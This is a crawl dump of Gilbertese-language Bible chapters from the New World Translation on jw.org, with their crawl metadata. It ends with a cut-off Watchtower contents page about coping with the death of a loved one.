E kamoamoaa aron tamaroani kaubwaina Aman, natina mwaane aika mwaiti,+ ao aron te uea ni karikirakea ma ni karietataa riki i aoia tooka ma ana toro te uea.+ 12 E reitia ni kangai Aman: \"Irarikin anne, akea te aomata temanna ae kaoaki iroun te Ueannaine are Etita nakon te baka n amwarake are e katauraoia,+ ma bon tii ngai bwa N na raona te uea. I kaoaki naba ningabong bwa N na raona neiei ma te uea.+ 13 Ma I aki rauaki ni baikai ni kabane, ngkai I nonora Moretekai are te I-Iutaia n tekateka ni mataroan ana oo te uea.\" 14 Mangaia are e taku Tireti are buuna ma raoraona ni kabane nakoina: \"Ko na tua bwa e na kateaki te kai ae 50 te mwanokunibai* rietana. Ao ko na tuanga te uea n te moaningabong bwa e riai n tauraki iai Moretekai.+ Ao ko na nako ma te uea ni kakimwareireiko n te baka n amwarake.\" E taraa n raoiroi te iango aei iroun Aman, mangaia are e a tua katean te kai.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etita\/5\/","date":"2018-01-18T08:43:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00173.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":588,"character_repetition_ratio":0.062,"word_repetition_ratio":0.003,"special_characters_ratio":0.245,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n1 Te taeka n ekaanako Ninewe:+ Bokin ana miitara Naum* are te I-Erekoti. 2 Iehova bon te Atua ae tua bwa e na taromauriaki n tii ngaia,+ao e karekekai. E karekekai Iehova ao e tauraoi ni kaota unna.+ E karekei kaia akana kairiribai nakoina Iehova,Ao e kaikoa unna imwaia aiana. 3 E iremwe n un Iehova+ ao e korakora mwaakana,+Ma tiaki n ae e na taua te tuuaa mairouia akana riai ni katuuaaeaki.+ E mena kawaina n te ukeukennanti ma te angibuaka,Ao taian nang kaanga ai aroni bubun te tano i aani waena.+ 4 E boaa taari+ ao e kabwatakatakaa,Ao e kabwatakatakai ranin taiani karaanga ni kabane.+ A rai Batian ma Karemera,+Ao a rai ueen Rebanon. 5 A ruru maunga ibukina,Ao a ran taian tabuki.+ E tei mangaon te aonnaba ibukin ubuna,N ikotaki ma te aba ao naake a maeka iai ni kabane.+ 6 Antai ae kona n tei imwain unna?+ Ao antai ae kona ni kaitaraa uraraken unna?+ E na kabwaroaki bonon nanona n ai aron te ai,Ao a na maeinikun taiani bwaa ibukina. 7 E raoiroi Iehova+ ao bon te nono ni bongin te rawawata.+ E ataiia* akana ukoukora kamanoaia irouna.+ 8 E na kamauna raoi ana tabo neiei* n te ieka ae korakora,Ao te rotongitong e na kakioia aian teuaei. 9 Tera ae kam na baireia n ekaanako Iehova? E na kamaunaingkami ni kabane. E na aki manga roko te rawawata n te kauatai.+ 10 Bwa a rarangaaki n ai aron aroka aika kateketeke,Ao titeboo ngaiia ma akana manging n te biia,*Ma a na boni kabwautaki n ai aron te uteute ae mwau. 11 E na roko mairoum temanna ae bairea karaoan ae buakaka n ekaanako Iehova,Ao e anga te taeka n reirei ae akea manenana. 12 E kangai ana taeka Iehova: \"E ngae ngkana a rangi ni korakora ma n rangi ni bati,Ma a na boni koreaki ni kabwakaaki ao ni maunanako.* I a tia ni karawawatako,* ma N na aki manga karawawatako riki. 13 Ao ngkai N na otea ana amo ni kanakoa mai aom,+Ao N na raeuai kabaeam nakon uoua. 14 E tua Iehova ni kaineti ma ngkoe* ni kangai,'E na aki kateimatoaaki aram,N na katiai aroia bouannanti aika kaaraki ma bouannanti aika biiti* mai nanon aia auti* atuam. N na karaoa ruanimatem ibukina bwa ko buakaka.' 15 Noria! A mena i aoni maunga waen ane e uouota te rongorongo ae raoiroi,Ane e katanoataa te rau.+ Bukamarui am toa+ ngkoe ae Iuta, ao kakoroi bukin am taeka ni bau,Bwa e na aki manga rinanom te aomata ae akea manenana. E na boni kamaunaaki.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/naum\/1\/","date":"2018-01-24T12:30:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084894125.99\/warc\/CC-MAIN-20180124105939-20180124125939-00311.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":448,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n23 E kangai te taeka ibukin Turo:+ Kam na tanginiwenei ngkami aika kaibuken Taretiti!+ Bwa e a tia n uruakaki te matabaiawa, ao e aki kona n rinnakoaki. E a tia ni kaotaki te baei nakoia n te aba ae Kitim.+ 2 Kam na kainabwabu ngkami aika kaain te aba ae i rarikin taari. A a kaoniko taan iokinibwai mai Titon+ aika rinanoni marawa. 3 E mwananga n riaon raan aika bati te uita* mai Tiiora*+Ao uaan te Naire ae ana karekemwane Turo, Ma n uotii aia raka natannaomata.+ 4 Ko na kamaamaeaki ngkoe ae Titon, ngkoe ae te nono i rarikin taari,Ibukina bwa e kangai taari: \"I aki ariri ni maraki, ao I aki bung,I aki naba kaikawaiia rorobuaka n ataei ke ni karikirakeia ateiaine.\"*+ 5 A na maraki aomata n rongorongon Turo+N aroia ngke a ongo rongorongon Aikubita.+ 6 Rinanon taari n nako Taretiti! Kam na tanginiwenei ngkami aika kaain te aba ae i rarikin taari! 7 Te koaua bwa bon aio ami kaawa are kakatonga mangkoangkoa, ma ngke e moan tei? A taneiai waen neiei n uotia nakon aaba aika raroanako bwa e na maeka iai. 8 Antai ae bairea te baei n ekaanako Turo,Ae te tia katokai baunuea,Ake tooka ana tia iokinibwai,Ao a karineaki ni kabutaa te aonnaba ana tia iokinibwai?+ 9 E bairea te baei Iehova ae Atuaia taanga ni buaka,* Bwa e na kamwaraea kainikatongan neiei ibukin tamaroana ni kabane,Bwa e na kamaamaeia akana karineaki ni kabutaa te aonnaba.+ 10 Rinanon abam n ai aron te Karaanga ae te Naire, ngkoe ae natin Taretiti te aine. Ai akea te tabo ni kaba kaibuke.*+ 11 E arora baina nako aon taari. E ioioi tautaeka n uea. E tua Iehova kamaunaan noono ake i Boinike.+ 12 Ao e kangai: \"Ko na aki manga kakatonga,+Ngkoe ae ko karawawataaki, ae natin Titon te aine ae tuai ni boo ma te mwaane. Teirake, ao rinanon taari nako Kitim.+ E na aki naba reke ikanne motirawam.\" 13 Noria! Abaia I-Kareria.+ Aio te botannaomata, ao tiaki Aturia,+A karaoa neiei bwa nneia manin te rereua. A katei aia taua aika nonoaki. A buutii karabaan tauan neiei aika nonoaki,+ Ao a karaoa neiei bwa te tabo ae uruaki. 14 Kam na tanginiwenei ngkami aika kaibuken Taretiti,Bwa e a kamaunaaki ami nono.+ 15 N te bong anne ao e na mwanuokinaki Turo i nanon 70 te ririki,+ ae titeboo ma abwakini maiun* te uea temanna. N tokin ririki akana 70 ao e na riki Turo bwa kaanga te aine ae kakabooaki n aron are e aneneaki n te kuna ae kangai: 16 \"Anaa te abi, ao katobibia te kaawa, ngkoe ae te aine ae kakabooaki, ae ko mwanuokinaki. Katanga raoi am abi,Anenei kuuna aika bati,Bwa a aonga n ururingko.\" 17 N tokin ririki akana 70, ao Iehova e na manga mutiakina Turo, ao e na manga okira arona neiei n rereke boona ao ni kakabooaki ibukin te wene ni bure ma tautaeka n uea ni kabane n te aonnaba ni kabutaa. 18 Ma e na riki kaubwaina ma boona bwa te bwai ae tabu nakon Iehova. E na aki kaikoikoaki ke n ikotaki, ibukina bwa e na riki boona bwa aia bwai akana maeka i matan Iehova, bwa a aonga n amwamwarake ni karokoa rauakia ao ni kunnikainia ni kunnikai aika raraoi.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/23\/","date":"2018-01-19T20:30:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888113.39\/warc\/CC-MAIN-20180119184632-20180119204632-00450.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":561,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n10 Ao ngai ae Bauro, I butiingkami n te nimamannei ma te akoi are e kaotiotaki iroun te Kristo+ e ngae ngke I taraaki iroumi bwa I mangori i buakomi,+ ma ngkana I aki mena i buakomi ao a mamatoa au taeka.+ 2 I onnon nakoimi bwa ngkana I mena i buakomi, ao N na aki rangi ni matoatoa ma ni kairimatoa n aron ae I kariaa nakoia tabeman, ake a iangoira bwa aongkoa ti nakonako n ai aron nanon te rabwata. 3 Bwa e ngae ngke ti maiu n te aro n rabwata, ma ti aki buaka n ai aron nanon te rabwata. 4 Bwa tiaki bwain te rabwata ara bwai ni buaka,+ ma a korakora mairoun te Atua,+ n urui baika nene wakaaia. 5 Bwa ti urui iango n rarabakau ma aaro ni kainikatonga nako ake a kauntabaa te atatai ibukin te Atua,+ ao ti kataenikai iango ni kabane bwa a na ongeaba iroun te Kristo. 6 Ao ti tauraoi ni katuuaaeia aomata nako ake a kaotiotii aeka n aki ongeaba nako,+ ngkana kam a tia n ongeaba. 7 Kam bairei taekani bwaai n aron taraakia. Ngkana iai ae e onimakinna i bon irouna bwa te tia rimwini Kristo ngaia ao ke e manga iaiangoa riki te koaua aei: Ngkai ana bwai Kristo ngaia, ao ai arora naba. 8 Bwa e ngae ngke I kabatiaa teutana au kamoamoa nakon ae riai ni kaineti ma te mwioko are e anganira te Uea, are ti na kateimatoaingkami n aki kabwakaingkami,+ ma N na bon aki kamaamaeaki iai. 9 Bwa I aki tangiria bwa kam na taku bwa I kani kakamaakuingkami n au reta. 10 Bwa a taku tabeman: \"A kaakanoa ana reta ao a orobuki, ma ngke e mena i buakora ao moan te mangori taraana, ao akea manenan ana taeka.\" 11 A riai n ataia aeka n aomata aikai bwa arora n taetae n ara reta ngkai akea ngaira i buakomi ao ai bon arora naba ae ti na karaoia ngkana ti mena i buakomi.+ 12 Bwa ti maaku n atongira bwa raoia te koraki ake a kamoamoaia i bon irouia,+ ke ni kabotauira ma ngaiia. Ma a kaotia bwa a aki ota, n aroia ni baireiia ni kaineti ma oin aia kaetieti, ao n aroia ni kabotauia i bon irouia.+ 13 Ma ti na aki kamoamoa n ae riaon ae riai, ma ti na kamoamoa ni kaineti ma baike ti kona ni karaoi i nanon te aono are ti mwiokoaki iai ae e baireaki tiana iroun te Atua, are te aono are kam mena naba iai.+ 14 Ni koauana, ti aki riaon tian ara aono, bwa aongkoa kam aki mena i nanon ara aono, bwa bon taani moan roko naba ngaira iroumi n tataekina te rongorongo ae raoiroi ae taekan te Kristo.+ 15 Ti aki kamoamoa n ana mwakuri temanna ae karaoia i tinanikun te aono are ti mwiokoaki iai, ma bon ara kantaninga bwa ngkana e a ririkirake ami onimaki ao e na ririkirake naba ara mwakuri are ti karaoia n ara aono. Ao ti na karababaa riki ngkanne 16 tataekinan te rongorongo ae raoiroi nakon aaba ake a raroa riki nakoimi, bwa ti aonga n aki kamoamoa n te bwai ae e a tia ni karaoaki n ana aono temanna. 17 \"Ma ane e kamoamoa ao ke e kamoamoa iroun Iehova.\"*+ 18 Bwa e aki tau i matan Iehova te aomata ae kamoamoaa i bon irouna,+ ma e tau ane e kamoamoaaki iroun Iehova.*+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-korinto\/10\/","date":"2018-01-22T03:32:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00677.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":594,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n1 Ao Iehova e wetea Mote ao e taetae nakoina man te umwa ni botaki+ ni kangai: 2 \"Taetae nakoia tibun Iteraera, ao tuangia ni kangai: 'Ngkana e na anga te karea te aomata temanna mai buakomi nakon Iehova mai buakon te nanai ni man, ao kam riai n anga ami karea mai buakon taiani kao, tiibu, ao kooti.+ 3 \"'Ngkana e na anga ana karea ae te karea ni kabuekaki man te nanai, e riai n anga te man ae te mwaane ae marurung raoi.+ E riai n anga ma nanona ni kan anga+ i matan Iehova i rarikini mataroan te umwa ni botaki. 4 E na katokaa baina i aon atun te man are te karea ni kabuekaki, ao e na butimwaeaki te karea ibukini karekeani kabwaraan ana bure. 5 \"'Ao e riai ni kamateaki te kao mwaane ae ataei i matan Iehova, ao a na anga raraana natin Aaron aika mwaane, ake ibonga,*+ ao a na katimtimmwa i aon rarikin te baonikarea ni kabutaa,+ ae mena i rarikini mataroan te umwa ni botaki. 6 E riai ni kuotaki kunin te karea ni kabuekaki anne ma ni korokoreaki.+ 7 A na uota te ai nakon te baonikarea+ natin Aaron aika mwaane, ake ibonga, ao a na bairei taian aia i aon te ai. 8 Ao natin Aaron aika mwaane, ake ibonga, a na bairei mwakorokoron te karea+ ma matanriana ao mwaeteni kirinena i aon te aia are i aon te ai, are mena i aon te baonikarea. 9 A na tebokaki kanoannanona ma waena* n te ran, ao e na kabanei ni kabueki ni kabubui te ibonga i aon te baonikarea bwa te karea ni kabuekaki ae kareanaki n te ai, ae te boi ae boiarara* iroun Iehova.+ 10 \"'Ngkana e na anga ana karea ae te karea ni kabuekaki man te nanai+ mai buakoia tiibu mwaane aika ataei ke kooti, e riai n anga te man ae te mwaane ae marurung raoi.+ 11 E na kamateaki i meangin te baonikarea i matan Iehova, ao a na katimtimwa raraana natin Aaron aika mwaane, ake ibonga, i aon rarikin te baonikarea ni kabutaa.+ 12 E na korokoreaki rabwatana iroun te ibonga n ikotaki ma matanriana ao mwaeteni kirinena, ao e na bairei i aon te aia are i aon te ai, are mena i aon te baonikarea. 13 E na teboki kanoannanona ma waena n te ran, ao e na kabanei n anga te ibonga ma ni kabueki ni kabubui i aon te baonikarea. Bon te karea ni kabuekaki ae kareanaki n te ai te baei, ae te boi ae boiarara* iroun Iehova. 14 \"'Ma ngkana e na anga mannikiba bwa te karea ni kabuekaki nakon Iehova, ao e na anga ana karea mai buakoia taobe ke bitin aika ataei.+ 15 E na anga te mannikiba te ibonga i aon te baonikarea ao e na kinika roroana ni kanakoa* ao e na kabuekia ni kabubua i aon te baonikarea, ma e riai ni kawawaeaanako raraana i aon oon rarikin te baonikarea. 16 E riai ni kouta nneni kanana are i buuana ma buraena ma ni karenakoi i rarikin te baonikarea i mainikuna, ni nnen te mannang.*+ 17 E na bwenaia mai baina ni kiba ma e na aki kamaenakoa rabwatana nakon uoua. Ao e na kabuekia ni kabubua te ibonga i aon te baonikarea i aon te aia are i aon te ai. Bon te karea ni kabuekaki ae kareanaki n te ai te baei, ae te boi ae boiarara* iroun Iehova.\n^ Nora Nanon Taeka.\n^ E nanonaki iai mwakoron te ranga are mai nano.\n^ Tao e aki nanonaki bwa e koutakinako atuna.\n^ Ke, \"mannang aika kiriiti,\" ae taekan taiani mannang aika mara ni kiriitin taiani karea.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/1\/","date":"2018-01-22T03:32:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00677.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":634,"character_repetition_ratio":0.108,"word_repetition_ratio":0.083,"special_characters_ratio":0.24,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n1 Ngai ae Bauro ae ana abotoro Kristo Iesu n ana kantaninga te Atua, ni kaineti ma te berita ibukin te maiu ae kona n reke rinanoni Kristo Iesu,+ 2 nakon Timoteo ae te nati ae tangiraki:+ Ke e mena iroum te akoi ae rianako, ao te nanoanga, ao te rau mairoun te Atua ae te Tama, ao Kristo Iesu ae ara Uea. 3 I katituaraoa te Atua, ae I beku irouna n aroia au bakatibu ma mataniwin nanou ae itiaki, ngkai I aki toki n uringko n au kakorakora n tataro ni bubutii ni ngaina ao ni bong. 4 Ngkai I uringa rannimatam ao I ingainga ni kan noriko, bwa e aonga ni kabatiaaki kimwareireiu. 5 Bwa I uringa am onimaki ae aki mwamwanaa te aba,+ are e mena moa i nanon tibum ae Nei Roiti ao tinam ae Eunike, ae I kakoauaa raoi bwa e mena naba i nanom. 6 Ibukin aei ao I kauringko bwa ko na kauraa ana bwaintituaraoi te Atua ane i nanom n ai aron te ai, are e reke iroum ngke I kaaki baiu i aom.+ 7 Bwa e aki anganira te Atua te nano ae mamaaku,+ ma e anganira te nano ae korakora,+ ae tatangira ao ae wanawana. 8 Mangaia ae ko na tai maamaa ni kaotiota taekan ara Uea,+ ke ni maamaa irou ngai ae I karabuutinaki ibukina, ma ko na tauraoi ni maraki+ ibukin te rongorongo ae raoiroi, n onimakinan te korakora are mairoun te Atua.+ 9 E kamaiuira ao e weteira bwa ti na riki bwa te koraki aika itiaki,*+ tiaki ibukin ara mwakuri, ma ibukin ana kantaninga ma ana akoi ae rianako.+ Ti anganaki aei ngkoangkoa ni kaineti ma Kristo Iesu. 10 Ma e a kateretereaki raoi ngkai te akoi ae rianako, ni kaotan ara tia Kamaiu ae Kristo Iesu+ are kamauna te mate+ ao e kaotaa te oota i aon te maiu+ ma te aki mka,+ rinanon te rongorongo ae raoiroi,+ 11 are I mwiokoaki iai bwa te tia uarongorongo ao te abotoro ao te tia angareirei.+ 12 Anne bukina ae I maraki naba ngai ni baikai,+ ma I aki maamaa iai+ bwa I ataa Teuare I onimakinna, ao I kakoauaa raoi bwa e kona ni kawakini bwaai nako ake I mwiokoi nakoina ni karokoa te bong arei.+ 13 Ko na teimatoa n taui taeka aika koaua*+ ake ko ongo irou. Taui ma te onimaki ao te tangira ae reke n te reitaki ma Kristo Iesu. 14 Ko na kawakina te bwai ae kakawaki aei ae ko mwiokoaki iai rinanon te taamnei ae raoiroi ae memena i nanora.+ 15 Ko ataia bwa a bane n tannako mairou naake n te aono n Atia,*+ n ikotaki naba ma Bukero ao Eremokene. 16 Ke e nanoangaiia kaaini batan Onetiboro+ te Uea, bwa e aki toki ni kabebeteai, ao e aki maamaa ni kabaeakiu n te taurekereke. 17 Ma ngke e mena i Rom, ao e kakorakoraa ni kakaaeai ao I reke irouna. 18 Ke e nanoangaia te Uea ae Iehova* n te bong arei. Ko bon atai ana mwakuri nako ake e karaoi i Ebeto.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-timoteo\/1\/","date":"2018-01-17T02:16:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886792.7\/warc\/CC-MAIN-20180117003801-20180117023801-00684.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":532,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n11 \"Ngke te teei Iteraera ao I tangiria,+Ao I wetea natiu mai Aikubita.+ 2 Ngkana a* kabatiaa riki weteaia naakai,Ao a a nako riki naakai mairouia.+ A teimatoa n angakarea nakoni bouannantin nako Baara,+Ao n anga taiani karea nakoia bouannanti aika kaaraki.+ 3 Ma boni ngai are I reireinia tibun Eberaim n nakonako,+ ao I mwanokaiia ni baiu.+ Ao a aki mutiakina ae I a tia ni kamarurungia. 4 I teimatoa ni kairiia n aia roobu aomata,* ni bwaai ni kabaebae aika bwain te tangira.+ Ao titeboo ngai irouia ma te aomata ae tabeka te amo mai mwangaia,Ao I karaurau n anga te amwarake nakon temanna ma temanna. 5 A na aki okira te aba ae Aikubita, ma e na riki Aturia bwa aia uea,+Ibukina bwa a rawa n okirai.+ 6 Ao e na minomino te kabaang n ekinako ana kaawa,+ Ao e na kamaunai ana kai ni kamatoa ao ni kabwautiia ibukin aia babaire.+ 7 A motika nanoia au aomata bwa a na okioki n aki kakaonimaki nakoiu.+ E ngae ngke a weteiia naakai ni waerake,* ma akea temanna ae teirake. 8 N na kangaa ni kaaki taekam ngkoe ae Eberaim?+ Ao ngkoe ae Iteraera N na kangaa n anga ngkoe nakoia taani kairiribai nakoim? N na kangaa ni karaoa nakoim ae tii te arona ma Atema? N na kangaa ni karaoiko n aron Teboiim?+ E a bitaki nanou,Ao e ueke* au nanoanga n te tai naba anne.+ 9 N na aki kaotiota uraraken uniu. N na aki manga kamauna Eberaim,+Bwa bon te Atua ngai ao tiaki te aomata,Bon Teuare Tabu i buakomi. Ao N na aki roko n ekingkami nako ma uniu ae korakora. 10 A na rimwin Iehova ao e na bekorara n aron te raian.+ Ngkana e bekorara, ao a na roko natina mai maeao+ ma te rurubenebene. 11 A na rurubenebene n aron te mannikiba ngkana a otinako mai Aikubita,N aron te taobe ae otinako man te aba ae Aturia,+Ao N na kamaekaia n aia auti,\" bon ana taeka Iehova.+ 12 \"E otabwaniniai Eberaim n te kewekewe,Ao tibun Iteraera n te mwamwanaa te aba.+ Ma e teimatoa Iuta n ririaki* ma te Atua,Ao e kakaonimaki nakon Teuare Moan te Tabu.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/otea\/11\/","date":"2018-01-17T02:16:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886792.7\/warc\/CC-MAIN-20180117003801-20180117023801-00684.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":387,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n24 E taku ngkanne Iehova nakoni Mote: \"Ko na nakon te maunga, ngkoe ma Aaron, Nataba ao Abiu+ ao aia unimwaane tibun Iteraera aika 70, ao bobaraaki mai kiraroa n taromauriai. 2 E riai Mote n tii ngaia ni kaania Iehova, ma a aki riai naake tabemwaang ni kaania, ao a aki riai n iria aomata n ararakea te maunga.\"+ 3 E oki ngkanne Mote ao e tuangia aomata bwaai ni kabane ake e taekin Iehova ma mooti ni kabane,+ ao a kaeka aomata ni kabane n te bwanaa ae tii teuana ni kangai: \"Ti kukurei ni karaoi baike e taekin Iehova ni kabane.\"+ 4 Ngaia are e korei ana taeka Iehova ni kabane Mote.+ E utimwaaka ngkanne n te moaningabong ao e katea te baonikarea i nanoaan te maunga, ma atibu ni kauring aika 12 n aroni mwaitin aia baronga tibun Iteraera aika 12. 5 Imwin anne ao e kanakoia rorobuaka n ataei aika tibun Iteraera ao a anga taiani karea ni kabuekaki, ao a anga kaao mwaane bwa karea n raoi+ nakon Iehova. 6 Ao e anaa iteran te raraa Mote ni kaaki n taiani boora ao are iterana e katimtimmwa i aon te baonikarea. 7 Ao e a anaa bokin te berita* ao e warekia ni kabaibati nakoia aomata.+ Ao a taku: \"Ti kukurei ni karaoi baike e taekin Iehova ni kabane ao ti na ongeaba.\"+ 8 Mangaia are e anaa te raraa Mote ao e katimtimmwa i aoia aomata+ ao e taku: \"Aio raraan te berita are e karaoia Iehova ma ngkami ni kaineti ma taeka aikai ni kabane.\"+ 9 Ao a nakon te maunga Mote ma Aaron, Nataba ma Abiu ao aia unimwaane tibun Iteraera aika 70, 10 ao a nora Atuan Iteraera.+ E mena i aani waena kaanga te kawai ae karaoaki man te tabeiro* ao e itiaki n ai aroni karawa.+ 11 E aki kaikoakiia mwaane ake tibun Iteraera+ ake a karineaki akekei, ao a nora te Atua ae koaua n te miitara ngke a amwarake ma ni moi. 12 E a taku ngkai Iehova nakoni Mote: \"Ararake nakoiu nako aon te maunga ao tiiku iai. N na anganiko baaba aika atibu aika mena i aoia tuua aika N na korei ibukin reireinaia.\"+ 13 Mangaia are e teirake Mote ma Iotua are ana tia ibuobuoki,+ ao e ararakea Mote ana maunga te Atua ae koaua.+ 14 Ma e taku nakoia unimwaane: \"Kam na taningaira ni karokoa okira nakoimi.+ A na raoningkami Aaron ma Uura.+ Ngkana iai te aomata ae iai ana tangitang, ao e na kawariia naakai.\"+ 15 Ao e ararakea te maunga Mote ngke e a rabunaki taubukina n te nang.+ 16 E tiku mimitongin Iehova+ i aon te Maunga ae Tinai,+ ao e rabunaki n te nang i nanon onobong. N te kaitiua ni bong ao e a wetea Mote mai buakon te nang. 17 Taraani mimitongin Iehova irouia tibun Iteraera ake a mataku, kaanga ai aron te ai ae kamaunai bwaai i aon taubukin te maunga. 18 E rinnako ngkanne Mote nako buakon te nang ao e ararakea te maunga.+ Ao e tiku n te maunga Mote i nanon 40 te ngaina ao 40 te bong.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/24\/","date":"2018-01-20T16:09:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889660.55\/warc\/CC-MAIN-20180120142458-20180120162458-00520.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":536,"character_repetition_ratio":0.066,"word_repetition_ratio":0.004,"special_characters_ratio":0.246,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 3 2016 | Ngkana E Mate Ae Ko Tangiria\nTi bane n rotaki n ana urubwai te mate. Tera ae ti na karaoia ngkana e mate kaain ara utu ke raoraora ni kaan?\nATUN TE MAEKATIN\nE na kangaa temanna ni kaitaraa te nanokawaki ae korakora? Ao iai te kantaninga ibukia raora aika tangiraki ake a a tia ni mate?\nATUN TE MAEKATIN\nTera arom ngkana a taku tabemwaang bwa e a riao arom n nanokawaki ni buan ae ko tangiria?\nATUN TE MAEKATIN\nIai bwaai n ibuobuoki aika manena n te Baibara, aika a tia n noraki bwa a mwakuri.\nATUN TE MAEKATIN\nA kona naba raao ni kaan ni kabwaka n nora kainnanon raoraoia ae nanokawaki ni buan ae a tangiria.\nATUN TE MAEKATIN\nE boni koaua te kantaninga ae n te Baibara?\nAntai taman Ioteba? Aeka ni kunnikai raa ao bwaai ni kataa aika kabonganaaki n taai ake a karakinaki n te Baibara?\nE BITII MAIUIA AOMATA TE BAIBARA\nJoseph 